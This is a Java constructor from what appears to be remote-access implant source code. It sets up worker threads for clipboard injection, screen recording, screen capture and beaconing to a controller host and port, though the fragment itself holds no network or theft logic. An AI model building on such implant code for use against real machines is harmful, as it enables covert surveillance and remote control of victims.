public Worker_Thread_Payloads(int timing_millis, Splinter_IMPLANT agent, int payload_index, String clipboard_injection_text, String addr_controller, int port_controller, File directoryToRendor)
  {
    try
    {
      if (timing_millis < 100) {
        timing_millis = 100;
      }
      if (clipboard_injection_text == null) {
        clipboard_injection_text = "";
      }
      this.implant = agent;
      this.timerInterrupt_millis = timing_millis;
      this.payload_execution_index = payload_index;
      this.payloadType = arrPayloadTypes[payload_index];
      this.text_to_inject_into_clipboard = clipboard_injection_text;
      this.fleRenderDirectory = directoryToRendor;

      this.controllerAddress = addr_controller;
      this.controllerPort = port_controller;

      this.killThisThread = false;
      this.dismissInterrupt = false;

      if ((payload_index == 0) || (payload_index == 1))
      {
        TERMINATE_ALL_WORKERS_CLIPBOARD = false;
      }

      if (payload_index == 2)
      {
        TERMINATE_ALL_WORKERS_RECORD_SCREEN = false;
      }

      if (payload_index == 3)
      {
        TERMINATE_ALL_WORKERS_BEACON_TO_CONTROLLER = false;
      }

      if (payload_index == 4)
      {
        TERMINATE_ALL_WORKERS_RENDER_SCREEN = false;
      }

      start();
    }
    catch (Exception e)
    {
      Driver.eop("Null Constructor", "Worker_Thread_Payloads", e, "", false);
      this.killThisThread = true;
    }
  }